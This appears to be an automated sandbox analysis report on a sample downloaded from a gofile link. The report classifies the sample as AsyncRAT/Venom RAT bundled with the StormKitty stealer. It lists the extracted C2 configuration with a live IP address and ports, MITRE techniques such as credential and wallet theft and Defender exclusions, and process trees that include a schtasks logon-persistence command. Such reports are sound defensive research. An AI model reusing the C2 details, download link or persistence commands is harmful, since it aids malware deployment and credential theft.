asyncrat | hxxps://gofile[.]io/d/NhhoD3

Analysis

max time kernel
53s
max time network
60s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
13/06/2024, 23:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://gofile.io/d/NhhoD3

Score

10^/10

asyncrat stormkitty default discovery execution rat spyware stealer upx

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

127.0.0.1:4782

127.0.0.1:4781

127.0.0.1:4783

127.0.0.1:4784

127.0.0.1:4785

127.0.0.1:4786

127.0.0.1:4787

127.0.0.1:4788

127.0.0.1:4789

127.0.0.1:4790

127.0.0.1:4791

127.0.0.1:4792

127.0.0.1:4793

91.92.246.67:4782

91.92.246.67:4781

91.92.246.67:4783

91.92.246.67:4784

91.92.246.67:4785

91.92.246.67:4786

91.92.246.67:4787

Mutex

gryzaavvqgfsdtn

Attributes

delay
1
install
true
install_file
Clien64 Bootstrapper.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral1/memory/2924-159-0x000000001CCF0000-0x000000001CE12000-memory.dmp	family_stormkitty

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x000c000000023486-72.dat	family_asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
400	powershell.exe
5032	powershell.exe
5260	powershell.exe
2860	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Built.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	Clien64 Bootstrapper.exe
Key value queried	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000\Control Panel\International\Geo\Nation	Solara Fixer.exe

Executes dropped EXE 18 IoCs

pid	Process
5972	Solara Fixer.exe
4712	Solara Fixer.exe
2924	Clien64 Bootstrapper.exe
3044	Solara Fixer.exe
1976	Solara Fixer.exe
5508	Solara Fixer.exe
1480	Solara Fixer.exe
5276	Solara Fixer.exe
5624	Solara Fixer.exe
2936	Solara Fixer.exe
3636	Solara Fixer.exe
540	Solara Fixer.exe
1160	Solara Fixer.exe
4248	Built.exe
4924	Built.exe
1540	Solara Fixer.exe
3616	Solara Fixer.exe
404	Solara Fixer.exe

Loads dropped DLL 16 IoCs

pid	Process
4924	Built.exe
4924	Built.exe
4924	Built.exe
4924	Built.exe
4924	Built.exe
4924	Built.exe
4924	Built.exe
4924	Built.exe
4924	Built.exe
4924	Built.exe
4924	Built.exe
4924	Built.exe
4924	Built.exe
4924	Built.exe
4924	Built.exe
4924	Built.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 41 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00070000000235cb-244.dat	upx
behavioral1/memory/4924-248-0x00007FFB98160000-0x00007FFB98752000-memory.dmp	upx
behavioral1/files/0x00070000000235c9-252.dat	upx
behavioral1/files/0x00070000000235be-251.dat	upx
behavioral1/files/0x00070000000235d0-261.dat	upx
behavioral1/memory/4924-271-0x00007FFBB56E0000-0x00007FFBB56EF000-memory.dmp	upx
behavioral1/memory/4924-270-0x00007FFBB4E70000-0x00007FFBB4E94000-memory.dmp	upx
behavioral1/files/0x00070000000235c5-269.dat	upx
behavioral1/files/0x00070000000235c4-268.dat	upx
behavioral1/files/0x00070000000235c3-267.dat	upx
behavioral1/files/0x00070000000235c2-266.dat	upx
behavioral1/files/0x00070000000235c1-265.dat	upx
behavioral1/files/0x00070000000235bd-262.dat	upx
behavioral1/files/0x00070000000235bf-263.dat	upx
behavioral1/files/0x00070000000235cf-260.dat	upx
behavioral1/files/0x00070000000235c0-264.dat	upx
behavioral1/files/0x00070000000235ca-256.dat	upx
behavioral1/files/0x00070000000235ce-259.dat	upx
behavioral1/files/0x00070000000235c8-255.dat	upx
behavioral1/memory/4924-277-0x00007FFBB52A0000-0x00007FFBB52B9000-memory.dmp	upx
behavioral1/memory/4924-278-0x00007FFBAB810000-0x00007FFBAB833000-memory.dmp	upx
behavioral1/memory/4924-276-0x00007FFBB46D0000-0x00007FFBB46FD000-memory.dmp	upx
behavioral1/memory/4924-279-0x00007FFB9E090000-0x00007FFB9E20E000-memory.dmp	upx
behavioral1/memory/4924-281-0x00007FFBB4A80000-0x00007FFBB4A8D000-memory.dmp	upx
behavioral1/memory/4924-280-0x00007FFBB4BA0000-0x00007FFBB4BB9000-memory.dmp	upx
behavioral1/memory/4924-284-0x00007FFB9D550000-0x00007FFB9D61D000-memory.dmp	upx
behavioral1/memory/4924-288-0x00007FFB9CDE0000-0x00007FFB9CEFC000-memory.dmp	upx
behavioral1/memory/4924-287-0x00007FFB98160000-0x00007FFB98752000-memory.dmp	upx
behavioral1/memory/4924-286-0x00007FFBADF10000-0x00007FFBADF1D000-memory.dmp	upx
behavioral1/memory/4924-285-0x00007FFBB3C40000-0x00007FFBB3C54000-memory.dmp	upx
behavioral1/memory/4924-283-0x00007FFB97C30000-0x00007FFB98159000-memory.dmp	upx
behavioral1/memory/4924-282-0x00007FFB9ECC0000-0x00007FFB9ECF3000-memory.dmp	upx
behavioral1/memory/4924-347-0x00007FFBB4E70000-0x00007FFBB4E94000-memory.dmp	upx
behavioral1/memory/4924-440-0x00007FFB97C30000-0x00007FFB98159000-memory.dmp	upx
behavioral1/memory/4924-441-0x00007FFB9D550000-0x00007FFB9D61D000-memory.dmp	upx
behavioral1/memory/4924-430-0x00007FFB98160000-0x00007FFB98752000-memory.dmp	upx
behavioral1/memory/4924-439-0x00007FFB9ECC0000-0x00007FFB9ECF3000-memory.dmp	upx
behavioral1/memory/4924-437-0x00007FFBB4BA0000-0x00007FFBB4BB9000-memory.dmp	upx
behavioral1/memory/4924-436-0x00007FFB9E090000-0x00007FFB9E20E000-memory.dmp	upx
behavioral1/memory/4924-435-0x00007FFBAB810000-0x00007FFBAB833000-memory.dmp	upx
behavioral1/memory/4924-431-0x00007FFBB4E70000-0x00007FFBB4E94000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
76	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
6036	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
5944	timeout.exe

Detects videocard installed 1 TTPs 3 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2420	WMIC.exe
1992	WMIC.exe
5792	WMIC.exe

Enumerates processes with tasklist 1 TTPs 4 IoCs

Process Discovery

T1057

pid	Process
6048	tasklist.exe
3008	tasklist.exe
4304	tasklist.exe
5212	tasklist.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Kills process with taskkill 20 IoCs

evasion

pid	Process
3756	taskkill.exe
5936	taskkill.exe
3580	taskkill.exe
5460	taskkill.exe
5812	taskkill.exe
6064	taskkill.exe
232	taskkill.exe
5960	taskkill.exe
3572	taskkill.exe
1108	taskkill.exe
4056	taskkill.exe
4788	taskkill.exe
5308	taskkill.exe
2308	taskkill.exe
5508	taskkill.exe
1288	taskkill.exe
2780	taskkill.exe
4796	taskkill.exe
452	taskkill.exe
1144	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-200405930-3877336739-3533750831-1000_Classes\Local Settings	msedge.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 908848.crdownload:SmartScreen	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3036	msedge.exe
3036	msedge.exe
5548	msedge.exe
5548	msedge.exe
4068	identity_helper.exe
4068	identity_helper.exe
5636	msedge.exe
5636	msedge.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
4712	Solara Fixer.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2924	Clien64 Bootstrapper.exe
2860	powershell.exe
2860	powershell.exe
2860	powershell.exe
2924	Clien64 Bootstrapper.exe
5960	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs

pid	Process
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5972	Solara Fixer.exe
Token: SeDebugPrivilege	4712	Solara Fixer.exe
Token: SeDebugPrivilege	2924	Clien64 Bootstrapper.exe
Token: SeDebugPrivilege	3044	Solara Fixer.exe
Token: SeDebugPrivilege	1976	Solara Fixer.exe
Token: SeDebugPrivilege	5508	Solara Fixer.exe
Token: SeDebugPrivilege	1480	Solara Fixer.exe
Token: SeDebugPrivilege	5276	Solara Fixer.exe
Token: SeDebugPrivilege	5624	Solara Fixer.exe
Token: SeDebugPrivilege	2936	Solara Fixer.exe
Token: SeDebugPrivilege	3636	Solara Fixer.exe
Token: SeDebugPrivilege	540	Solara Fixer.exe
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	1160	Solara Fixer.exe
Token: SeDebugPrivilege	5960	powershell.exe
Token: SeIncreaseQuotaPrivilege	6036	WMIC.exe
Token: SeSecurityPrivilege	6036	WMIC.exe
Token: SeTakeOwnershipPrivilege	6036	WMIC.exe
Token: SeLoadDriverPrivilege	6036	WMIC.exe
Token: SeSystemProfilePrivilege	6036	WMIC.exe
Token: SeSystemtimePrivilege	6036	WMIC.exe
Token: SeProfSingleProcessPrivilege	6036	WMIC.exe
Token: SeIncBasePriorityPrivilege	6036	WMIC.exe
Token: SeCreatePagefilePrivilege	6036	WMIC.exe
Token: SeBackupPrivilege	6036	WMIC.exe
Token: SeRestorePrivilege	6036	WMIC.exe
Token: SeShutdownPrivilege	6036	WMIC.exe
Token: SeDebugPrivilege	6036	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6036	WMIC.exe
Token: SeRemoteShutdownPrivilege	6036	WMIC.exe
Token: SeUndockPrivilege	6036	WMIC.exe
Token: SeManageVolumePrivilege	6036	WMIC.exe
Token: 33	6036	WMIC.exe
Token: 34	6036	WMIC.exe
Token: 35	6036	WMIC.exe
Token: 36	6036	WMIC.exe
Token: SeDebugPrivilege	6048	tasklist.exe
Token: SeDebugPrivilege	400	powershell.exe
Token: SeIncreaseQuotaPrivilege	6036	WMIC.exe
Token: SeSecurityPrivilege	6036	WMIC.exe
Token: SeTakeOwnershipPrivilege	6036	WMIC.exe
Token: SeLoadDriverPrivilege	6036	WMIC.exe
Token: SeSystemProfilePrivilege	6036	WMIC.exe
Token: SeSystemtimePrivilege	6036	WMIC.exe
Token: SeProfSingleProcessPrivilege	6036	WMIC.exe
Token: SeIncBasePriorityPrivilege	6036	WMIC.exe
Token: SeCreatePagefilePrivilege	6036	WMIC.exe
Token: SeBackupPrivilege	6036	WMIC.exe
Token: SeRestorePrivilege	6036	WMIC.exe
Token: SeShutdownPrivilege	6036	WMIC.exe
Token: SeDebugPrivilege	6036	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6036	WMIC.exe
Token: SeRemoteShutdownPrivilege	6036	WMIC.exe
Token: SeUndockPrivilege	6036	WMIC.exe
Token: SeManageVolumePrivilege	6036	WMIC.exe
Token: 33	6036	WMIC.exe
Token: 34	6036	WMIC.exe
Token: 35	6036	WMIC.exe
Token: 36	6036	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2420	WMIC.exe
Token: SeSecurityPrivilege	2420	WMIC.exe
Token: SeTakeOwnershipPrivilege	2420	WMIC.exe
Token: SeLoadDriverPrivilege	2420	WMIC.exe
Token: SeSystemProfilePrivilege	2420	WMIC.exe

Suspicious use of FindShellTrayWindow 37 IoCs

pid	Process
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe

Suspicious use of SendNotifyMessage 26 IoCs

pid	Process
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe
5548	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2924	Clien64 Bootstrapper.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5548 wrote to memory of 5540	5548	msedge.exe	81
PID 5548 wrote to memory of 5540	5548	msedge.exe	81
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 5168	5548	msedge.exe	82
PID 5548 wrote to memory of 3036	5548	msedge.exe	83
PID 5548 wrote to memory of 3036	5548	msedge.exe	83
PID 5548 wrote to memory of 5152	5548	msedge.exe	84
PID 5548 wrote to memory of 5152	5548	msedge.exe	84
PID 5548 wrote to memory of 5152	5548	msedge.exe	84
PID 5548 wrote to memory of 5152	5548	msedge.exe	84
PID 5548 wrote to memory of 5152	5548	msedge.exe	84
PID 5548 wrote to memory of 5152	5548	msedge.exe	84
PID 5548 wrote to memory of 5152	5548	msedge.exe	84
PID 5548 wrote to memory of 5152	5548	msedge.exe	84
PID 5548 wrote to memory of 5152	5548	msedge.exe	84
PID 5548 wrote to memory of 5152	5548	msedge.exe	84
PID 5548 wrote to memory of 5152	5548	msedge.exe	84
PID 5548 wrote to memory of 5152	5548	msedge.exe	84
PID 5548 wrote to memory of 5152	5548	msedge.exe	84
PID 5548 wrote to memory of 5152	5548	msedge.exe	84
PID 5548 wrote to memory of 5152	5548	msedge.exe	84
PID 5548 wrote to memory of 5152	5548	msedge.exe	84
PID 5548 wrote to memory of 5152	5548	msedge.exe	84
PID 5548 wrote to memory of 5152	5548	msedge.exe	84
PID 5548 wrote to memory of 5152	5548	msedge.exe	84
PID 5548 wrote to memory of 5152	5548	msedge.exe	84

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 3 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4048	attrib.exe
4288	attrib.exe
5108	attrib.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://gofile.io/d/NhhoD3
1⤵
- Enumerates system info in registry
- Modifies registry class
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5548
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbb53f46f8,0x7ffbb53f4708,0x7ffbb53f4718
  2⤵
  PID:5540
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2272,8138826508431075723,9850897818643467138,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2296 /prefetch:2
  2⤵
  PID:5168
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2272,8138826508431075723,9850897818643467138,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2352 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3036
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2272,8138826508431075723,9850897818643467138,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2764 /prefetch:8
  2⤵
  PID:5152
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2272,8138826508431075723,9850897818643467138,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3304 /prefetch:1
  2⤵
  PID:5224
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2272,8138826508431075723,9850897818643467138,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:1
  2⤵
  PID:572
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2272,8138826508431075723,9850897818643467138,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4620 /prefetch:1
  2⤵
  PID:696
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2272,8138826508431075723,9850897818643467138,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4972 /prefetch:1
  2⤵
  PID:1460
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2272,8138826508431075723,9850897818643467138,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3828 /prefetch:1
  2⤵
  PID:4824
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2272,8138826508431075723,9850897818643467138,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5068 /prefetch:8
  2⤵
  PID:404
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2272,8138826508431075723,9850897818643467138,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5068 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2272,8138826508431075723,9850897818643467138,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5696 /prefetch:8
  2⤵
  PID:2840
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2272,8138826508431075723,9850897818643467138,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3940 /prefetch:1
  2⤵
  PID:1604
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2272,8138826508431075723,9850897818643467138,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6100 /prefetch:8
  2⤵
  PID:1160
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2272,8138826508431075723,9850897818643467138,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6328 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5636
- C:\Users\Admin\Downloads\Solara Fixer.exe
  "C:\Users\Admin\Downloads\Solara Fixer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:5972
- C:\Users\Admin\Downloads\Solara Fixer.exe
  "C:\Users\Admin\Downloads\Solara Fixer.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4712
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Clien64 Bootstrapper" /tr '"C:\Users\Admin\AppData\Roaming\Clien64 Bootstrapper.exe"' & exit
    3⤵
    PID:5492
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "Clien64 Bootstrapper" /tr '"C:\Users\Admin\AppData\Roaming\Clien64 Bootstrapper.exe"'
      4⤵
      Creates scheduled task(s)
      PID:6036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp6CB4.tmp.bat""
    3⤵
    PID:3140
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:5944
  - - C:\Users\Admin\AppData\Roaming\Clien64 Bootstrapper.exe
      "C:\Users\Admin\AppData\Roaming\Clien64 Bootstrapper.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:2924
